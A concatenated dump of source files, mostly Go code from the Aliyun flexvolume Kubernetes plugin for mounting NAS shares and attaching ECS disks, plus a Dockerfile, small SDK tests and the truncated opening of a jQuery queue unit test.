log.Infof("Exec Nas Mount Cdm: %s", mntCmd)
_, err := utils.Run(mntCmd)
// Mount to nfs Sub-directory
if err != nil && opt.Path != "/" {
if strings.Contains(err.Error(), "reason given by server: No such file or directory") || strings.Contains(err.Error(), "access denied by server while mounting") {
p.createNasSubDir(opt)
if _, err := utils.Run(mntCmd); err != nil {
utils.FinishError("Nas, Mount Nfs sub directory fail: " + err.Error())
}
} else {
utils.FinishError("Nas, Mount Nfs fail with error: " + err.Error())
}
// mount error
} else if err != nil {
utils.FinishError("Nas, Mount nfs fail: " + err.Error())
}
// change the mode
if opt.Mode != "" && opt.Path != "/" {
var wg1 sync.WaitGroup
wg1.Add(1)
go func(*sync.WaitGroup) {
cmd := fmt.Sprintf("chmod -R %s %s", opt.Mode, mountPath)
if _, err := utils.Run(cmd); err != nil {
log.Errorf("Nas chmod cmd fail: %s %s", cmd, err)
} else {
log.Infof("Nas chmod cmd success: %s", cmd)
}
wg1.Done()
}(&wg1)
if waitTimeout(&wg1, 1) {
log.Infof("Chmod use more than 1s, running in Concurrency: %s", mountPath)
}
}
// check mount
if !utils.IsMounted(mountPath) {
utils.FinishError("Check mount fail after mount:" + mountPath)
}
log.Info("Mount success on: " + mountPath)
return utils.Result{Status: "Success"}
}
// check system config,
// if tcp_slot_table_entries not set to 128, just config.
func checkSystemNasConfig() {
updateNasConfig := false
sunRpcFile := "/etc/modprobe.d/sunrpc.conf"
if !utils.IsFileExisting(sunRpcFile) {
updateNasConfig = true
} else {
chkCmd := fmt.Sprintf("cat %s | grep tcp_slot_table_entries | grep 128 | grep -v grep | wc -l", sunRpcFile)
out, err := utils.Run(chkCmd)
if err != nil {
log.Warnf("Update Nas system config check error: ", err.Error())
return
}
if strings.TrimSpace(out) == "0" {
updateNasConfig = true
}
}
if updateNasConfig {
upCmd := fmt.Sprintf("echo \"options sunrpc tcp_slot_table_entries=128\" >> %s && echo \"options sunrpc tcp_max_slot_table_entries=128\" >> %s && sysctl -w sunrpc.tcp_slot_table_entries=128", sunRpcFile, sunRpcFile)
_, err := utils.Run(upCmd)
if err != nil {
log.Warnf("Update Nas system config error: ", err.Error())
return
}
log.Warnf("Successful update Nas system config")
}
}
// Unmount umount mnt
func (p *NasPlugin) Unmount(mountPoint string) utils.Result {
log.Infof("Nas Plugin Umount: %s", strings.Join(os.Args, ","))
if !utils.IsMounted(mountPoint) {
return utils.Succeed()
}
// do umount command
umntCmd := fmt.Sprintf("umount %s", mountPoint)
if _, err := utils.Run(umntCmd); err != nil {
if strings.Contains(err.Error(), "device is busy") {
utils.FinishError("Nas, Umount nfs Fail with device busy: " + err.Error())
}
// check if need force umount
networkUnReachable := false
noOtherPodUsed := false
nfsServer := p.getNasServerInfo(mountPoint)
if nfsServer != "" && !p.isNasServerReachable(nfsServer) {
log.Warnf("NFS, Connect to server: %s failed, umount to %s", nfsServer, mountPoint)
networkUnReachable = true
}
if networkUnReachable && p.noOtherNasUser(nfsServer, mountPoint) {
log.Warnf("NFS, Other pods is using the NAS server %s, %s", nfsServer, mountPoint)
noOtherPodUsed = true
}
// force umount need both network unreachable and no other user
if networkUnReachable && noOtherPodUsed {
umntCmd = fmt.Sprintf("umount -f %s", mountPoint)
}
if _, err := utils.Run(umntCmd); err != nil {
utils.FinishError("Nas, Umount nfs Fail: " + err.Error())
}
}
log.Info("Umount nfs Successful:", mountPoint)
return utils.Succeed()
}
func (p *NasPlugin) getNasServerInfo(mountPoint string) string {
getNasServerPath := fmt.Sprintf("findmnt %s | grep %s | grep -v grep | awk '{print $2}'", mountPoint, mountPoint)
serverAndPath, _ := utils.Run(getNasServerPath)
serverAndPath = strings.TrimSpace(serverAndPath)
serverInfoPartList := strings.Split(serverAndPath, ":")
if len(serverInfoPartList) != 2 {
log.Warnf("NFS, Get Nas Server error format: %s, %s", serverAndPath, mountPoint)
return ""
}
return serverInfoPartList[0]
}
func (p *NasPlugin) noOtherNasUser(nfsServer, mountPoint string) bool {
checkCmd := fmt.Sprintf("mount | grep -v %s | grep %s | grep -v grep | wc -l", mountPoint, nfsServer)
if checkOut, err := utils.Run(checkCmd); err != nil {
return false
} else if strings.TrimSpace(checkOut) != "0" {
return false
}
return true
}
func (p *NasPlugin) isNasServerReachable(url string) bool {
conn, err := net.DialTimeout("tcp", url+":"+NASPORTNUM, time.Second*2)
if err != nil {
return false
}
defer conn.Close()
return true
}
// Attach not support
func (p *NasPlugin) Attach(opts interface{}, nodeName string) utils.Result {
return utils.NotSupport()
}
// Detach not support
func (p *NasPlugin) Detach(device string, nodeName string) utils.Result {
return utils.NotSupport()
}
// Getvolumename Support
func (p *NasPlugin) Getvolumename(opts interface{}) utils.Result {
opt := opts.(*NasOptions)
return utils.Result{
Status: "Success",
VolumeName: opt.VolumeName,
}
}
// Waitforattach no Support
func (p *NasPlugin) Waitforattach(devicePath string, opts interface{}) utils.Result {
return utils.NotSupport()
}
// Mountdevice Not Support
func (p *NasPlugin) Mountdevice(mountPath string, opts interface{}) utils.Result {
return utils.NotSupport()
}
// 1. mount to /mnt/acs_mnt/k8s_nas/volumename first
// 2. run mkdir for sub directory
// 3. umount the tmep directory
func (p *NasPlugin) createNasSubDir(opt *NasOptions) {
// step 1: create mount path
nasTmpPath := filepath.Join(NASTEMPMNTPath, opt.VolumeName)
if err := utils.CreateDest(nasTmpPath); err != nil {
utils.FinishError("Create Nas temp Directory err: " + err.Error())
}
if utils.IsMounted(nasTmpPath) {
utils.Umount(nasTmpPath)
}
// step 2: do mount
usePath := opt.Path
mntCmd := fmt.Sprintf("mount -t nfs -o vers=%s %s:%s %s", opt.Vers, opt.Server, "/", nasTmpPath)
_, err := utils.Run(mntCmd)
if err != nil {
if strings.Contains(err.Error(), "reason given by server: No such file or directory") || strings.Contains(err.Error(), "access denied by server while mounting") {
if strings.HasPrefix(opt.Path, "/share/") {
usePath = usePath[6:]
mntCmd = fmt.Sprintf("mount -t nfs -o vers=%s %s:%s %s", opt.Vers, opt.Server, "/share", nasTmpPath)
_, err := utils.Run(mntCmd)
if err != nil {
utils.FinishError("Nas, Mount to temp directory(with /share) fail: " + err.Error())
}
} else {
utils.FinishError("Nas, maybe use fast nas, but path not startwith /share: " + err.Error())
}
} else {
utils.FinishError("Nas, Mount to temp directory fail: " + err.Error())
}
}
subPath := path.Join(nasTmpPath, usePath)
if err := utils.CreateDest(subPath); err != nil {
utils.FinishError("Nas, Create Sub Directory err: " + err.Error())
}
// step 3: umount after create
utils.Umount(nasTmpPath)
log.Info("Create Sub Directory success: ", opt.Path)
}
//
func (p *NasPlugin) checkOptions(opt *NasOptions) error {
// NFS Server url
if opt.Server == "" {
return errors.New("NAS url is empty")
}
// check network connection
conn, err := net.DialTimeout("tcp", opt.Server+":"+NASPORTNUM, time.Second*time.Duration(3))
if err != nil {
log.Errorf("NAS: Cannot connect to nas host: %s", opt.Server)
return errors.New("NAS: Cannot connect to nas host: " + opt.Server)
}
defer conn.Close()
// nfs server path
if opt.Path == "" {
opt.Path = "/"
}
if !strings.HasPrefix(opt.Path, "/") {
log.Errorf("NAS: Path should be empty or start with /, %s", opt.Path)
return errors.New("NAS: Path should be empty or start with /: " + opt.Path)
}
// nfs version, support 4.0, 4.1, 3.0
// indeed, 4.1 is not available for aliyun nas now;
if opt.Vers == "" {
opt.Vers = "3"
}
if opt.Vers == "3.0" {
opt.Vers = "3"
}
if opt.Vers != "4.0" && opt.Vers != "4.1" && opt.Vers != "3" {
log.Errorf("NAS: version only support 3, 4.0 now, %s", opt.Vers)
return errors.New("NAS: version only support 3, 4.0 now: " + opt.Vers)
}
// check mode
if opt.Mode != "" {
modeLen := len(opt.Mode)
if modeLen != 3 {
return errors.New("NAS: mode input format error: " + opt.Mode)
}
for i := 0; i < modeLen; i++ {
if !strings.Contains(MODECHAR, opt.Mode[i:i+1]) {
log.Errorf("NAS: mode is illegal, %s", opt.Mode)
return errors.New("NAS: mode is illegal " + opt.Mode)
}
}
}
// check options
if opt.Opts == "" {
if opt.Vers == "3" {
opt.Opts = "noresvport,nolock,tcp"
} else {
opt.Opts = "noresvport"
}
} else if strings.ToLower(opt.Opts) == "none" {
opt.Opts = ""
}
return nil
}
func waitTimeout(wg *sync.WaitGroup, timeout int) bool {
c := make(chan struct{})
go func() {
defer close(c)
wg.Wait()
}()
select {
case <-c:
return false
case <-time.After(time.Duration(timeout) * time.Second):
return true
}
}
<|start_filename|>Dockerfile<|end_filename|>
FROM golang:1.9.7 AS build-env
COPY . /go/src/github.com/AliyunContainerService/flexvolume/
RUN cd /go/src/github.com/AliyunContainerService/flexvolume/ && ./build.sh
FROM alpine:3.7
RUN sed -i 's/dl-cdn.alpinelinux.org/mirrors.aliyun.com/' /etc/apk/repositories \
&& apk --no-cache add fuse curl libxml2 openssl libstdc++ libgcc
COPY package /acs
COPY --from=build-env /go/src/github.com/AliyunContainerService/flexvolume/flexvolume-linux /acs/flexvolume
RUN chmod 755 /acs/*
ENTRYPOINT ["/acs/entrypoint.sh"]
<|start_filename|>vendor/github.com/denverdino/aliyungo/ram/security_test.go<|end_filename|>
package ram
import (
"testing"
)
var (
accountAliasRequest = AccountAliasRequest{AccountAlias: "hello"}
passwordPolicy = PasswordPolicyRequest{
PasswordPolicy: PasswordPolicy{
MinimumPasswordLength: 10,
RequireLowercaseCharacters: true,
RequireUppercaseCharacters: true,
RequireNumbers: true,
RequireSymbols: true,
},
}
)
func TestSetAccountAlias(t *testing.T) {
client := NewTestClient()
resp, err := client.SetAccountAlias(accountAliasRequest)
if err != nil {
t.Errorf("Failed to SetAccountAlias %v", err)
}
t.Logf("pass SetAccountAlias %v", resp)
}
func TestGetAccountAlias(t *testing.T) {
client := NewTestClient()
resp, err := client.GetAccountAlias()
if err != nil {
t.Errorf("Failed to GetAccountAlias %v", err)
}
t.Logf("pass GetAccountAlias %v", resp)
}
func TestClearAccountAlias(t *testing.T) {
client := NewTestClient()
resp, err := client.ClearAccountAlias()
if err != nil {
t.Errorf("Failed to ClearAccountAlias %v", err)
}
t.Logf("pass ClearAccountAlias %v", resp)
}
func TestSetPasswordPolicy(t *testing.T) {
client := NewTestClient()
resp, err := client.SetPasswordPolicy(passwordPolicy)
if err != nil {
t.Errorf("Failed to pass SetPasswordPolicy %v", err)
}
t.Logf("pass SetPasswordPolicy %v", resp)
}
func TestGetPasswordPolicy(t *testing.T) {
client := NewTestClient()
resp, err := client.GetPasswordPolicy()
if err != nil {
t.Errorf("Failed to pass GetPasswordPolicy %v", err)
}
t.Logf("pass GetPasswordPolicy %v", resp)
}
<|start_filename|>provider/oss/oss_test.go<|end_filename|>
package oss
import "testing"
func TestCheckOptions(t *testing.T) {
plugin := &OssPlugin{}
optin := &OssOptions{Bucket: "aliyun", Url: "oss-cn-hangzhou.aliyuncs.com", OtherOpts: "-o max_stat_cache_size=0 -o allow_other", AkId: "1223455", AkSecret: "22334567"}
plugin.checkOptions(optin)
}
<|start_filename|>provider/driver/swarm.go<|end_filename|>
package driver
// RunningInSwarm expect to support running on swarm
func RunningInSwarm() {
}
<|start_filename|>provider/disk/disk.go<|end_filename|>
package disk
import (
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"strings"
"time"
"github.com/AliyunContainerService/flexvolume/provider/utils"
"github.com/denverdino/aliyungo/common"
"github.com/denverdino/aliyungo/ecs"
"github.com/denverdino/aliyungo/metadata"
"github.com/nightlyone/lockfile"
log "github.com/sirupsen/logrus"
)
// Const values for disk
const (
KUBERNETES_ALICLOUD_DISK_DRIVER = "alicloud_disk"
VolumeDir = "/etc/kubernetes/volumes/disk/"
VolumeDirRemove = "/etc/kubernetes/volumes/disk/remove"
DISK_AKID = "/etc/.volumeak/diskAkId"
DISK_AKSECRET = "/etc/.volumeak/diskAkSecret"
DISK_ECSENPOINT = "/etc/.volumeak/diskEcsEndpoint"
ECSDEFAULTENDPOINT = "https://ecs-cn-hangzhou.aliyuncs.com"
)
// DiskOptions define the disk parameters
type DiskOptions struct {
VolumeName string `json:"kubernetes.io/pvOrVolumeName"`
FsType string `json:"kubernetes.io/fsType"`
VolumeId string `json:"volumeId"`
}
// the iddentity for http headker
var KUBERNETES_ALICLOUD_IDENTITY = fmt.Sprintf("Kubernetes.Alicloud/Flexvolume.Disk-%s", utils.PluginVersion())
// default region for aliyun sdk usage
var DEFAULT_REGION = common.Hangzhou
// DiskPlugin define DiskPlugin
type DiskPlugin struct {
client *ecs.Client
}
// NewOptions define NewOptions
func (p *DiskPlugin) NewOptions() interface{} {
return &DiskOptions{}
}
// Init define Init for DiskPlugin
func (p *DiskPlugin) Init() utils.Result {
return utils.Succeed()
}
// Attach attach with NodeName and Options
// Attach: nodeName: regionId.instanceId, exammple: cn-hangzhou.i-bp12gei4ljuzilgwzahc
// Attach: options: {"kubernetes.io/fsType": "", "kubernetes.io/pvOrVolumeName": "", "kubernetes.io/readwrite": "", "volumeId":""}
func (p *DiskPlugin) Attach(opts interface{}, nodeName string) utils.Result {
log.Infof("Disk Plugin Attach: %s", strings.Join(os.Args, ","))
// Step 0: Check disk is attached on this host
// resolve kubelet restart issue
opt := opts.(*DiskOptions)
cmd := fmt.Sprintf("mount | grep alicloud~disk/%s", opt.VolumeName)
if out, err := utils.Run(cmd); err == nil {
devicePath := strings.Split(strings.TrimSpace(out), " ")[0]
log.Infof("Disk Already Attached, DiskId: %s, Device: %s", opt.VolumeName, devicePath)
return utils.Result{Status: "Success", Device: devicePath}
}
// Step 1: init ecs client and parameters
p.initEcsClient()
regionId, instanceId, err := utils.GetRegionAndInstanceId()
if err != nil {
utils.FinishError("Disk, Parse node region/name error: " + nodeName + err.Error())
}
p.client.SetUserAgent(KUBERNETES_ALICLOUD_DISK_DRIVER + "/" + instanceId)
attachRequest := &ecs.AttachDiskArgs{
InstanceId: instanceId,
DiskId: opt.VolumeId,
}
// Step 2: Detach disk first
var devicePath string
describeDisksRequest := &ecs.DescribeDisksArgs{
DiskIds: []string{opt.VolumeId},
RegionId: common.Region(regionId),
}
// call detach to ensure work after node reboot
disks, _, err := p.client.DescribeDisks(describeDisksRequest)
if err != nil {
utils.FinishError("Disk, Can not get disk: " + opt.VolumeId + ", with error:" + err.Error())
}
if len(disks) >= 1 && disks[0].Status == ecs.DiskStatusInUse {
err = p.client.DetachDisk(disks[0].InstanceId, disks[0].DiskId)
if err != nil {
utils.FinishError("Disk, Failed to detach: " + err.Error())
}
}
// Step 3: wait for Detach
for i := 0; i < 15; i++ {
disks, _, err := p.client.DescribeDisks(describeDisksRequest)
if err != nil {
utils.FinishError("Could not get Disk again " + opt.VolumeId + ", with error: " + err.Error())
}
if len(disks) >= 1 && disks[0].Status == ecs.DiskStatusAvailable {
break
}
if i == 14 {
utils.FinishError("Detach disk timeout, failed: " + opt.VolumeId)
}
time.Sleep(2000 * time.Millisecond)
}
log.Infof("Disk is ready to attach: %s, %s, %s", opt.VolumeName, opt.VolumeId, opt.FsType)
// multi disk attach at the same time
// lck file created under /tmp/
lockfileName := "lockfile-disk.lck"
lock, err := lockfile.New(filepath.Join(os.TempDir(), lockfileName))
if err != nil {
utils.FinishError("Lockfile New failed, DiskId: " + opt.VolumeId + ", Volume: " + opt.VolumeName + ", err: " + err.Error())
}
err = lock.TryLock()
if err != nil {
utils.FinishError("Lockfile failed, DiskId: " + opt.VolumeId + ", Volume: " + opt.VolumeName + ", err: " + err.Error())
}
defer lock.Unlock()
// Step 4: Attach Disk, list device before attach disk
before := GetCurrentDevices()
if err = p.client.AttachDisk(attachRequest); err != nil {
utils.FinishError("Attach failed, DiskId: " + opt.VolumeId + ", Volume: " + opt.VolumeName + ", err: " + err.Error())
}
// step 5: wait for attach
for i := 0; i < 15; i++ {
disks, _, err := p.client.DescribeDisks(describeDisksRequest)
if err != nil {
utils.FinishError("Attach describe error, DiskId: " + opt.VolumeId + ", Volume: " + opt.VolumeName + ", err: " + err.Error())
}
if len(disks) >= 1 && disks[0].Status == ecs.DiskStatusInUse {
break
}
if i == 14 {
utils.FinishError("Attach timeout, DiskId: " + opt.VolumeId + ", Volume: " + opt.VolumeName)
}
time.Sleep(2000 * time.Millisecond)
}
// Step 6: Analysis attach device, list device after attach device
for i := 0; i < 15; i++ {
after := GetCurrentDevices()
devicePaths := getDevicePath(before, after)
if i == 9 {
utils.FinishError("Attach Success, but get DevicePath error1, DiskId: " + opt.VolumeId + ", Volume: " + opt.VolumeName + ", DevicePaths: " + strings.Join(devicePaths, ",") + ", After: " + strings.Join(after, ","))
}
if len(devicePaths) == 2 && strings.HasPrefix(devicePaths[1], devicePaths[0]) {
devicePath = devicePaths[1]
break
} else if len(devicePaths) == 1 {
devicePath = devicePaths[0]
break
} else if len(devicePaths) == 0 {
time.Sleep(2 * time.Second)
} else {
utils.FinishError("Attach Success, but get DevicePath error2, DiskId: " + opt.VolumeId + ", Volume: " + opt.VolumeName + ", DevicePaths: " + strings.Join(devicePaths, ",") + ", After: " + strings.Join(after, ","))
}
}
// save volume info to file
if err := saveVolumeConfig(opt); err != nil {
log.Errorf("Save volume config failed: " + err.Error())
}
log.Infof("Attach successful, DiskId: %s, Volume: %s, Device: %s", opt.VolumeId, opt.VolumeName, devicePath)
return utils.Result{
Status: "Success",
Device: "/dev/" + devicePath,
}
}
// GetCurrentDevices: Get devices like /dev/vd**
func GetCurrentDevices() []string {
var devices []string
files, _ := ioutil.ReadDir("/dev")
for _, file := range files {
if !file.IsDir() && strings.Contains(file.Name(), "vd") {
devices = append(devices, file.Name())
}
}
return devices
}
// Detach current kubelet call detach not provide plugin spec;
// this issue is tracked by: https://github.com/kubernetes/kubernetes/issues/52590
func (p *DiskPlugin) Detach(volumeName string, nodeName string) utils.Result {
log.Infof("Disk Plugin Detach: %s", strings.Join(os.Args, ","))
// Step 1: init ecs client
p.initEcsClient()
regionId, instanceId, err := utils.GetRegionAndInstanceId()
if err != nil {
utils.FinishError("Detach with get regionid/instanceid error: " + err.Error())
}
// step 2: get diskid
diskId := volumeName
tmpDiskId := getVolumeConfig(volumeName)
if tmpDiskId != "" && tmpDiskId != volumeName {
diskId = tmpDiskId
}
// Step 3: check disk
p.client.SetUserAgent(KUBERNETES_ALICLOUD_DISK_DRIVER + "/" + instanceId)
describeDisksRequest := &ecs.DescribeDisksArgs{
RegionId: common.Region(regionId),
DiskIds: []string{diskId},
}
disks, _, err := p.client.DescribeDisks(describeDisksRequest)
if err != nil {
utils.FinishError("Failed to list Volume: " + volumeName + ", DiskId: " + diskId + ", with error: " + err.Error())
}
if len(disks) == 0 {
log.Info("No Need Detach, Volume: ", volumeName, ", DiskId: ", diskId, " is not exist")
return utils.Succeed()
}
// Step 4: Detach disk
disk := disks[0]
if disk.InstanceId != "" {
// only detach disk on self instance
if disk.InstanceId != instanceId {
log.Info("Skip Detach, Volume: ", volumeName, ", DiskId: ", diskId, " is attached on: ", disk.InstanceId)
return utils.Succeed()
}
// multi disk detach at the same time
// lck file created under /tmp/
lockfileName := "lockfile-disk.lck"
lock, err := lockfile.New(filepath.Join(os.TempDir(), lockfileName))
if err != nil {
utils.FinishError("Detach:: Lockfile New failed, DiskId: " + ", Volume: " + volumeName + ", err: " + err.Error())
}
err = lock.TryLock()
if err != nil {
utils.FinishError("Detach:: Lockfile failed, DiskId: " + volumeName + ", err: " + err.Error())
}
defer lock.Unlock()
err = p.client.DetachDisk(disk.InstanceId, disk.DiskId)
if err != nil {
utils.FinishError("Disk, Failed to detach: " + err.Error())
}
}
// step 5: remove volume config file
removeVolumeConfig(volumeName)
log.Info("Detach Successful, Volume: ", volumeName, ", DiskId: ", diskId, ", NodeName: ", nodeName)
return utils.Succeed()
}
// Mount Not Support
func (p *DiskPlugin) Mount(opts interface{}, mountPath string) utils.Result {
return utils.NotSupport()
}
// Unmount Support, to fix umount bug;
func (p *DiskPlugin) Unmount(mountPoint string) utils.Result {
log.Infof("Disk, Starting to Unmount: %s", mountPoint)
p.doUnmount(mountPoint)
log.Infof("Disk, Unmount Successful: %s", mountPoint)
return utils.Succeed()
}
func (p *DiskPlugin) doUnmount(mountPoint string) {
if err := UnmountMountPoint(mountPoint); err != nil {
utils.FinishError("Disk, Failed to Unmount: " + mountPoint + err.Error())
}
// issue: below directory can not be umounted
// /var/lib/kubelet/plugins/kubernetes.io/flexvolume/alicloud/disk/mounts/d-2zefwuq9sv0gkxqrll5t
diskMntPath := "/var/lib/kubelet/plugins/kubernetes.io/flexvolume/alicloud/disk/mounts/" + filepath.Base(mountPoint)
if err := UnmountMountPoint(diskMntPath); err != nil {
utils.FinishError("Disk, Failed to Unmount: " + diskMntPath + " with error: " + err.Error())
}
}
// UnmountMountPoint Unmount host mount path
func UnmountMountPoint(mountPath string) error {
// check mountpath is exist
if pathExists, pathErr := utils.PathExists(mountPath); pathErr != nil {
return pathErr
} else if !pathExists {
return nil
}
// check mountPath is mountPoint
var notMnt bool
var err error
notMnt, err = utils.IsLikelyNotMountPoint(mountPath)
if err != nil {
return err
}
if notMnt {
log.Warningf("Warning: %q is not a mountpoint, deleting", mountPath)
return os.Remove(mountPath)
}
// Unmount the mount path
mntCmd := fmt.Sprintf("umount -f %s", mountPath)
if _, err := utils.Run(mntCmd); err != nil {
return err
}
notMnt, mntErr := utils.IsLikelyNotMountPoint(mountPath)
if mntErr != nil {
return err
}
if notMnt {
if err := os.Remove(mountPath); err != nil {
log.Warningf("Warning: deleting mountPath %s, with error: %s", mountPath, err.Error())
return err
}
return nil
}
return fmt.Errorf("Failed to unmount path")
}
// Getvolumename Support
func (p *DiskPlugin) Getvolumename(opts interface{}) utils.Result {
opt := opts.(*DiskOptions)
return utils.Result{
Status: "Success",
VolumeName: opt.VolumeName,
}
}
// Waitforattach Not Support
func (p *DiskPlugin) Waitforattach(devicePath string, opts interface{}) utils.Result {
opt := opts.(*DiskOptions)
if devicePath == "" {
utils.FinishError("Waitforattach, devicePath is empty, cannot used for Volume: " + opt.VolumeName)
}
if !utils.IsFileExisting(devicePath) {
utils.FinishError("Waitforattach, devicePath: " + devicePath + " is not exist, cannot used for Volume: " + opt.VolumeName)
}
// check the device is used for system
if devicePath == "/dev/vda" || devicePath == "/dev/vda1" {
utils.FinishError("Waitforattach, devicePath: " + devicePath + " is system device, cannot used for Volume: " + opt.VolumeName)
}
if devicePath == "/dev/vdb1" {
checkCmd := fmt.Sprintf("mount | grep \"/dev/vdb1 on /var/lib/kubelet type\" | wc -l")
if out, err := utils.Run(checkCmd); err != nil {
utils.FinishError("Waitforattach, devicePath: " + devicePath + " is check vdb error for Volume: " + opt.VolumeName)
} else if strings.TrimSpace(out) != "0" {
utils.FinishError("Waitforattach, devicePath: " + devicePath + " is used as DataDisk for kubelet, cannot used fo Volume: " + opt.VolumeName)
}
}
log.Infof("Waitforattach, wait for attach: %s, %s", devicePath, opt.VolumeName)
return utils.Result{
Status: "Success",
Device: devicePath,
}
}
// Mountdevice Not Support
func (p *DiskPlugin) Mountdevice(mountPath string, opts interface{}) utils.Result {
return utils.NotSupport()
}
//
func (p *DiskPlugin) initEcsClient() {
accessKeyID, accessSecret, accessToken, ecsEndpoint := "", "", "", ""
// Apsara Stack use local config file
accessKeyID, accessSecret, ecsEndpoint = p.GetDiskLocalConfig()
// the common environment
if accessKeyID == "" || accessSecret == "" {
accessKeyID, accessSecret, accessToken = utils.GetDefaultAK()
}
p.client = newEcsClient(accessKeyID, accessSecret, accessToken, ecsEndpoint)
if p.client == nil {
utils.FinishError("New Ecs Client error, ak_id: " + accessKeyID)
}
}
// GetDiskLocalConfig read disk config from local file
func (p *DiskPlugin) GetDiskLocalConfig() (string, string, string) {
accessKeyID, accessSecret, ecsEndpoint := "", "", ""
if utils.IsFileExisting(DISK_AKID) && utils.IsFileExisting(DISK_AKSECRET) && utils.IsFileExisting(DISK_ECSENPOINT) {
raw, err := ioutil.ReadFile(DISK_AKID)
if err != nil {
log.Error("Read disk AK ID file error:", err.Error())
return "", "", ""
}
accessKeyID = string(raw)
raw, err = ioutil.ReadFile(DISK_AKSECRET)
if err != nil {
log.Error("Read disk AK Secret file error:", err.Error())
return "", "", ""
}
accessSecret = string(raw)
raw, err = ioutil.ReadFile(DISK_ECSENPOINT)
if err != nil {
log.Error("Read disk ecs Endpoint file error:", err.Error())
return "", "", ""
}
ecsEndpoint = string(raw)
}
return strings.TrimSpace(accessKeyID), strings.TrimSpace(accessSecret), strings.TrimSpace(ecsEndpoint)
}
func getDevicePath(before, after []string) []string {
var devicePaths []string
for _, d := range after {
var isNew = true
for _, a := range before {
if d == a {
isNew = false
}
}
if isNew {
devicePaths = append(devicePaths, d)
}
}
return devicePaths
}
// endpoint: env variable first; /etc/.volumeak/diskEcsEndpoint second, overseas region third;
func newEcsClient(accessKeyId, accessKeySecret, accessToken, ecsEndpoint string) *ecs.Client {
m := metadata.NewMetaData(nil)
region, err := m.Region()
if err != nil {
region = string(DEFAULT_REGION)
}
// use environment endpoint first;
if ep := os.Getenv("ECS_ENDPOINT"); ep != "" {
ecsEndpoint = ep
}
client := ecs.NewECSClientWithEndpointAndSecurityToken(ecsEndpoint, accessKeyId, accessKeySecret, accessToken, common.Region(region))
client.SetUserAgent(KUBERNETES_ALICLOUD_IDENTITY)
return client
}
// get diskID
func getVolumeConfig(volumeName string) string {
volumeFile := path.Join(VolumeDir, volumeName+".conf")
if !utils.IsFileExisting(volumeFile) {
return ""
}
value, err := ioutil.ReadFile(volumeFile)
if err != nil {
return ""
}
volumeId := strings.TrimSpace(string(value))
return volumeId
}
// save diskID and volume name
func saveVolumeConfig(opt *DiskOptions) error {
if err := utils.CreateDest(VolumeDir); err != nil {
return err
}
if err := utils.CreateDest(VolumeDirRemove); err != nil {
return err
}
if err := removeVolumeConfig(opt.VolumeName); err != nil {
return err
}
volumeFile := path.Join(VolumeDir, opt.VolumeName+".conf")
return ioutil.WriteFile(volumeFile, []byte(opt.VolumeId), 0644)
}
// move config file to remove dir
func removeVolumeConfig(volumeName string) error {
volumeFile := path.Join(VolumeDir, volumeName+".conf")
if utils.IsFileExisting(volumeFile) {
timeStr := time.Now().Format("2006-01-02-15:04:05")
removeFile := path.Join(VolumeDirRemove, volumeName+"-"+timeStr+".conf")
if err := os.Rename(volumeFile, removeFile); err != nil {
return err
}
}
return nil
}
<|start_filename|>provider/utils/help.go<|end_filename|>
package utils
import "fmt"
var (
// VERSION should be updated by hand at each release
VERSION = "v1.12.6"
// GITCOMMIT will be overwritten automatically by the build system
GITCOMMIT = "HEAD"
)
// PluginVersion
func PluginVersion() string {
return VERSION
}
// Usage help
func Usage() {
fmt.Printf("In K8s Mode: " +
"Use binary file as the first parameter, and format support:\n" +
" plugin init: \n" +
" plugin attach: for alicloud disk plugin\n" +
" plugin detach: for alicloud disk plugin\n" +
" plugin mount: for nas, oss plugin\n" +
" plugin umount: for nas, oss plugin\n\n" +
"You can refer to K8s flexvolume docs: \n")
}
| allanhung/flexvolume |
<|start_filename|>public/lightgallery/jquery/test/unit/queue.js<|end_filename|>
module("queue", { teardown: moduleTeardown });
test("queue() with other types",function() {
expect(12);
var counter = 0;
stop();
var $div = jQuery({}),
defer;
$div.promise("foo").done(function() {
equal( counter, 0, "Deferred for collection with no queue is automatically resolved" );
});
$div
.queue("foo",function(){
equal( ++counter, 1, "Dequeuing" );
jQuery.dequeue(this,"foo");
})
.queue("foo",function(){
equal( ++counter, 2, "Dequeuing" );
jQuery(this).dequeue("foo");
})
.queue("foo",function(){
equal( ++counter, 3, "Dequeuing" );
})
.queue("foo",function(){
equal( ++counter, 4, "Dequeuing" );
});
defer = $div.promise("foo").done(function() {
equal( counter, 4, "Testing previous call to dequeue in deferred" );
start();
});
equal( $div.queue("foo").length, 4, "Testing queue length" );
equal( $div.queue("foo", undefined).queue("foo").length, 4, ".queue('name',undefined) does nothing but is chainable (#5571)");
$div.dequeue("foo");
equal( counter, 3, "Testing previous call to dequeue" );
equal( $div.queue("foo").length, 1, "Testing queue length" );
$div.dequeue("foo");
equal( counter, 4, "Testing previous call to dequeue" );
equal( $div.queue("foo").length, 0, "Testing queue length" );
});
test("queue(name) passes in the next item in the queue as a parameter", function() {
expect(2);
var div = jQuery({});
var counter = 0;
div.queue("foo", function(next) {
equal(++counter, 1, "Dequeueing");
next();
}).queue("foo", function(next) {
equal(++counter, 2, "Next was called");
next();
}).queue("bar", function() {
equal(++counter, 3, "Other queues are not triggered by next()")
});
div.dequeue("foo");
});
test("queue() passes in the next item in the queue as a parameter to fx queues", function() {
expect(3);
stop();
var div = jQuery({});
var counter = 0;
div.queue(function(next) {
equal(++counter, 1, "Dequeueing");
var self = this;
setTimeout(function() { next() }, 500);
}).queue(function(next) {
equal(++counter, 2, "Next was called");
next();
}).queue("bar", function() {
equal(++counter, 3, "Other queues are not triggered by next()")
});
jQuery.when( div.promise("fx"), div ).done(function() {
equal(counter, 2, "Deferreds resolved");
start();
});
});
test("callbacks keep their place in the queue", function() {
expect(5);
stop();
var div = jQuery("<div>"),
counter = 0;
div.queue(function( next ) {
equal( ++counter, 1, "Queue/callback order: first called" );
setTimeout( next, 200 );
}).show(100, function() {
equal( ++counter, 2, "Queue/callback order: second called" );
jQuery(this).hide(100, function() {
equal( ++counter, 4, "Queue/callback order: fourth called" );
});
}).queue(function( next ) {
equal( ++counter, 3, "Queue/callback order: third called" );
next();
});
div.promise("fx").done(function() {
equal(counter, 4, "Deferreds resolved");
jQuery.removeData( div[0], "olddisplay", true );
start();
});
});
test("delay()", function() {
expect(2);
stop();
var foo = jQuery({}), run = 0;
foo.delay(100).queue(function(){
run = 1;
ok( true, "The function was dequeued." );
start();
});
equal( run, 0, "The delay delayed the next function from running." );
});
test("delay() can be stopped", function() {
expect( 3 );
stop();
var foo = jQuery({}), run = 0;
foo
.queue( "alternate", function( next ) {
run++;
